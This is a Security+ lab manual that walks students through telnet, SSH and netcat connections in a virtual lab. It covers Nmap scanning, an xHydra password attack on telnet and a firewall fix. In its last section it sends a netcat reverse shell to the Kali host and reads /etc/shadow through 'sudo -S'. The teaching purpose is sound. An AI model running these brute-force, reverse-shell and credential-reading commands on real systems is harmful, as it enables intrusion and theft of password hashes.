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Introduction 

 
The material in this lab aligns to the following learning objectives: 
 

 Objective 1.1:  Explain the security function and purpose of network devices and 
technologies 

 Objective 1.4:  Given a scenario, implement common protocols and services 
 

More information about individual objectives and their sections can be found in 
CompTIA document SY0-401, which is available from the CompTIA website. 

 
In this lab, you will be conducting remote security practices using various tools and 
protocols. You will be performing the following tasks: 
 

1. Connecting to a Linux System Using Telnet 
2. Connecting to a Linux System Using SSH 
3. Connecting to a Linux System Using Netcat 
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Lab Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 
 
 

 

Virtual Machine 

 

IP Address 

 

Account  

(if needed) 

 

Password 

(if needed) 

 

Ubuntu 

 

192.168.1.50 student securepassword 

 

DVL Server 

 

10.1.1.10 root toor 

 

Security Onion 

 

192.168.1.6 soadmin mypassword 

pfSense 
192.168.1.1 

10.1.1.1 
203.0.113.1 

admin pfsense 

 

Kali 

 

203.0.113.2 root toor 
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Pre-Lab Setup 

 
Before continuing to Task 1, log into the following systems below as instructed. 
 

I. Kali 
1. On the login screen, select Other.  
2. When presented with the username, type root.  Press Enter. 
3. When prompted for the password, type toor.  Press Enter. 
4. Minimize the PC viewer window. 

 

II. Ubuntu 
1. On the login screen, select the student account. 
2. When prompted for the password, type securepassword.  Press Enter. 
3. Minimize the PC viewer window. 

 

III. Security Onion 
1. On the login screen, type soadmin.  Press Enter. 
2. When prompted for the password, type mypassword. 
3. Minimize the PC viewer window. 
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1 Connecting to a Linux System Using Telnet 

 
 
1.1 Telnet Dictionary Attack 

 
1. Open the Security Onion PC Viewer.  If closed, click on the Security Onion icon 

on the Topology page. 
 

 
 

2. Click on the Application Menu icon located in the top-left corner and navigate to 
Security Onion > Wireshark. 

 

 
 

3. Within the Wireshark window, navigate to Capture > Interfaces from the menu. 
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4. On the Capture Interfaces window, click Start for the eth0 network device. 
 

 
 

5. Open the Kali PC Viewer.  If closed, click on the Kali icon on the Topology page. 
 

 
 

6. Open a new Terminal window. 
 

 
 

7. Issue the ifconfig command verifying that the 203.0.113.2 address is present for 
eth0. 
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8. Initiate a quick Nmap scan exclusively looking for port 23 on the 192.168.1.0/24 
subnet. 

 
nmap –p 23 192.168.1.0/24 

 

  
 

9. From the Nmap results, it should look like port 23 is open on host 192.168.1.50. 
Try to connect to it using the telnet client using the following command: 

 
telnet 192.168.1.50 

 
10. When prompted for user credentials, attempt to guess the credentials by typing 

admin as the username and admin as the password. 
 

 
 

11. You should be presented with a login failure.  Press CTRL+C to exit the telnet 
prompt. 

12. Attempt to crack the password for telnet access.  Type xhydra in the Terminal 
window. Press Enter. 
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13. In the xHydra window, navigate to the Target tab, and enter IP address 
192.168.1.50 in the Single Target field. 
 

 
 

14. Click the drop-down menu next to Protocol and select telnet. 
 

 
 

15. Navigate to the Passwords tab and type student in the Username field. 
 

 
 

16. Underneath the Password header, fill the bubble next to Password List and click 
the white space. 
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17. A File Explorer window will appear.  Select the File System menu item and click 
the Type a file name icon. 

 

 
 

18. In the Location field, enter /tmp/wordlists/passlist.  Press Enter. 
 

 
 

19. Verify that the whitespace next to Password List is populated with 
/tmp/wordlists/passlist. 

 

 
 

20. Click the Start tab followed by clicking the Start button located at the bottom to 
begin the password cracking process. 
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21. A successful output shall appear showing available user credentials for the telnet 
client. 

 

 
 

22. Change focus to the Security Onion system.  On the Wireshark application, click 
the Stop Capture button. 

 

 
 

23. Leave the Wireshark application open for the next task. 
 
 

1.2 Analyze Telnet Connection 

 
1. While on the Security Onion system, analyze the multiple Wireshark captures 

that are using the telnet protocol. When using a password cracking application, it 
can be noted how much noise the application makes, which can throw red flags 
for a network administrator. 

2. Start a new capture by navigating to Capture > Interfaces. 
 

 
 

3. Click the Start button for the eth0 network device. 
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If prompted to “Save capture file”, select Continue without Saving. 
 

 
 

4. Change focus to the Kali system. 
5. Close the xHydra window. 
6. Change focus to the Terminal window and attempt to telnet to the 192.168.1.50 

host. 
 

telnet 192.168.1.50 

 

 
 

7. When prompted for user credentials, enter student as the username and 
securepassword as the password. 

8. Once successfully logged in, type exit followed by pressing Enter to close the 
telnet connection right away. 

 

 
 

9. Change focus to the Security Onion system.  Click on the Stop Capture button. 
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10. In the Filter space, type tcp.port == 23 followed by clicking Apply. 
 

 
 

11. Right-click on the first TCP packet when filtered and select Follow TCP Stream. 
 

 
 

12. Notice how both the username and password are sent in clear text. Click on the 
Close button. 
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1.3 Mitigate Telnet Risk 

 
1. While on the Security Onion system, open a new Web Browser. Navigate to the 

Applications Menu > Web Browser. 
2. Type 192.168.1.1 into the address bar. Press Enter. 

 

 
 

3. For the user credentials, type admin as the username and pfsense as the 
password. Click Login. 

 

 
 

4. Hover the mouse pointer over the Firewall menu option and select Rules. 
 

 
 

5. Make sure you are viewing the “EXTERNAL_GW” tab, and click the Add New Rule 
icon. 
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6. Select the drop-down menu next to Action and select Reject. 
 

 
 

7. Set Interface to EXTERNAL_GW. 
 

 
 

8. Set Protocol to TCP. 
 

 
 

9. Set Source Type to EXTERNAL_GW net. 
 

 
 

10. Set Destination Type to INTERNAL_GW net by selecting it from the drop-down 
menu. 

 

 
 

11. Set Destination port range to Telnet (23) for both “from” and “to”. 
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12. Click the Save button to enforce the rule. 
 

 
 

13. When redirected to the firewall rule table, notice the warning message.  Click the 
Apply changes button.  

 

 
 
Then select Close. 
 

 
 

14. Change focus to the Kali system and attempt to telnet to the 192.168.1.50 host 
within a Terminal window. 

 
telnet 192.168.1.50 

 

  
 

Notice after a couple of seconds, a connection timeout error appears.  Due to 
the new firewall rule set, it is rejecting the request from the External network. 
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15. Initiate another Nmap scan on the 192.168.1.0/24 network specifically for port 
23. 

 

 
 
Notice now that port 23 is closed on all hosts. 

 
16. Leave the Terminal window open for the next task. 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  



    
Lab 3:  Protocols and Default Network Ports – Connecting to a Remote System 

19 

This work by the National Information Security and Geospatial Technologies Consortium (NISGTC), and except where 
otherwise noted, is licensed under the Creative Commons Attribution 3.0 Unported License. 

2 Connecting to a Linux System Using SSH 

 
 
2.1 Analyze SSH Connection 

 
1. While on the Kali system, initiate an Nmap scan specifically looking for an open 

port 22.  
 
nmap –sV –p 22 192.168.1.0/24 

 

  
 

Notice for host 192.168.1.50, port 22 is open.  Additional information is also 
given with the –sV Nmap option as this helps probe service/version information. 
 

2. Change focus to the Security Onion system.  
3. Focus on the Wireshark application and start a new capture by navigating to 

Capture > Interfaces. 
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4. Click the Start button for network device eth0. 
 

 
 

5. If prompted with a warning, select Continue without Saving. 
 

 
 

6. Click on the Clear button to clear the filter settings. 
 

 
 

7. Change focus to the Kali system and SSH into the remote Ubuntu system by 
typing the command below into the Terminal. 

 
ssh student@192.168.1.50 

 

  
 

8. If prompted with “Are you sure you want to continue connecting”, type yes.  
Press Enter. 
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9. Type securepassword when prompted for the password. Press Enter.  Leave the 
Terminal open with the live SSH connection. 

10. Change focus to the Security Onion system. Within the Wireshark GUI, click on 
the Stop Capture icon. 
 

 
 

11. Type ssh into the filter space and select Apply. 
 

 
 

12. Notice the key exchange traffic between the server and the client.  This began 
when we initially were accepted to SSH into the remote system. 

 

 
13. Clear the filter and type tcp. Click Apply. 

 

 
 

14. Right-click on the first TCP packet and select Follow TCP Stream. 
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15. Scroll down and notice how the exchanged information between the server and 
client is encrypted. 

 

 
 

16. Click the Close button. 
17. Change focus to the Kali system. 
18. Within the Terminal window, while remotely logged into the Ubuntu system, 

type the command below to view the established TCP SSH connection: 
 
netstat –tan | grep 22 

 

  
 

19. View the current directory by typing the command below. 
 
pwd 
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20. List the files in the user student’s home directory. 
 
ls 

 

 
 

21. Create a file to verify if write privileges are assigned. 
 
echo This is a test file > secdoc.txt 

 

  
 

22. Type the ls command once more to verify that the file has been created. 
 

 
 

23. To hide files, a period is usually inserted in the beginning of the file’s name. 
Rename the file and put a period in the front. 

 
mv secdoc.txt .secdoc.txt 

 

  
 

24. Type the ls command again. 
 

 
 

Notice that the secdoc.txt file is no longer displayed. 
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25. To view hidden files, type the command below. 
 
ls -a 

 

  
 

Notice that the file appears in the list. 
 

26. Escalate your privileges by typing the command below. 
 
sudo su 

 

  
 

27. When prompted for a password, enter securepassword. Press Enter. 
28. Create a new user named admin1. 

 
useradd admin1 

 

  
 

29. Verify that the account has been created. 
 
cat /etc/shadow | grep admin1 
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30. To view that status of the Pro FTP daemon (proftpd), type the command below. 
 
service proftpd status 

 

  
 

31. Type the exit command followed by pressing Enter. 
 

 
 

32. Exit once more to close the SSH connection. 
 

 
 

33. Leave the Terminal window open for the next task. 
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3 Connecting to a Linux System by Using Netcat 

 
 
3.1 Using Netcat to Send a Reverse Shell 

 
1. While logged in the Kali system, focus on the Terminal window. 
2. In order to receive a shell prompt from a remote system on the Kali system using 

Netcat, a listener must be started. The receiving system should start the listener 
first.  Type the command below to start the listener. 

 
nc –l –p 443 

 

  
 

 Leave this running. 

 
3. Open a new tab by clicking on File > Open Tab. 

 

 
 

4. Verify that the system is now listening on port 443. 
 
netstat –tan | grep 443 
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5. Change focus to the Security Onion system and open a new Terminal window by 
navigating to the Applications Menu > Accessories > Terminal Emulator. 

 

 
 

6. Within the Terminal, type the command below send a shell to the Kali system 
over port 443. 

 
nc 203.0.113.2 443 –e /bin/bash 

 

  
 

7. Change focus back to the Kali system and view the Terminal with the first 
opened tab running the “nc –l –p 443” command. No prompt is presented to us; 
however you may now initiate a command to verify that you have a remote 
connection to the Security Onion’s shell. Type the command below followed by 
pressing Enter. 

 
uname -a 

 

  
Notice that we are presented with Security Onion’s system information. 
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8. Type the ifconfig command. Press Enter. 
 

 
 
Verify the network interfaces. 
 

9. Type the whoami command to verify the current user. 
 

 
 

10. Attempt to view the contents of the /etc/shadow file. 
 
cat /etc/shadow 

 

  
 

Notice how no output is presented. We need root privileges to do this. 
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11. Enter the command below to run the same command but with root privileges 
using the password all in one line. 

 
echo mypassword | sudo –S cat /etc/shadow 

 

  
 

Notice now the content of the /etc/shadow file is now displayed. 
 

12. Before disconnecting the session, let us view the IP addresses and port used in 
the network connection from Kali to Security Onion. Type the netstat command 
below. 

 
netstat –tan | grep 443 

 

  
 

Notice the connection made to 203.0.113.2:443, which is the host that was 
actively listening on the port set to 443. 
 

13. Press CTRL+C to end the Netcat session. 
14. Close all remaining windows. 

 
  


